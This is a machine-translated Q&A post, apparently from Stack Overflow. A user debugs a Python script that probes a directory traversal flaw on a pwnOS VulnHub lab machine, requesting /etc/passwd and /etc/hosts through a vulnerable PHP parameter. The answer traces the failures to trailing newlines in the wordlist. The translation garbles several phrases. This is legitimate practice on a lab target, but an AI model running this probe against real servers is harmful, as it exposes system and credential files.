脚本
下面的简单脚本是一个检查目录遍历漏洞的脚本。例如,它会检查以下文件:
http://192.168.152.152/index1.php?help=true&connect=的的/ etc /主机 http://192.168.152.152/index1.php?help=true&connect=的 / etc / passwd中
如果文件不存在,则网络服务器返回"无法打开的流"错误。
import requests
def checkfile(file):
url = 'http://192.168.152.152/index1.php?help=true&connect=%s'%(file)
r = requests.get(url)
**if "failed" not in (r.text):**
status = "[OK]"
return status
else:
status = "[FAILED]"
return status
with open('files', 'r') as f:
for file in f:
result = checkfile(file)
print "File %s %s" %(file, result.strip())
我的问题
即使该文件存在且没有"失败"抛出错误信息,我的脚本总是返回" [FAILED]"。 r.text
包含来自weserver(html页面)的完整响应。谁可以帮忙?
聚苯乙烯。这是法律安全挑战(https://www.vulnhub.com/entry/pwnos-10,33/)
的一部分答案 0 :(得分:0)
剧本很好。通过Wireshark,我看到了我做错了什么。每个文件后面都有一个空格:
{# ... #}
所以什么时候剥离它可以正常工作。
GET /index1.php?help=true&connect=/etc/passwd%0A <-----%A0 = space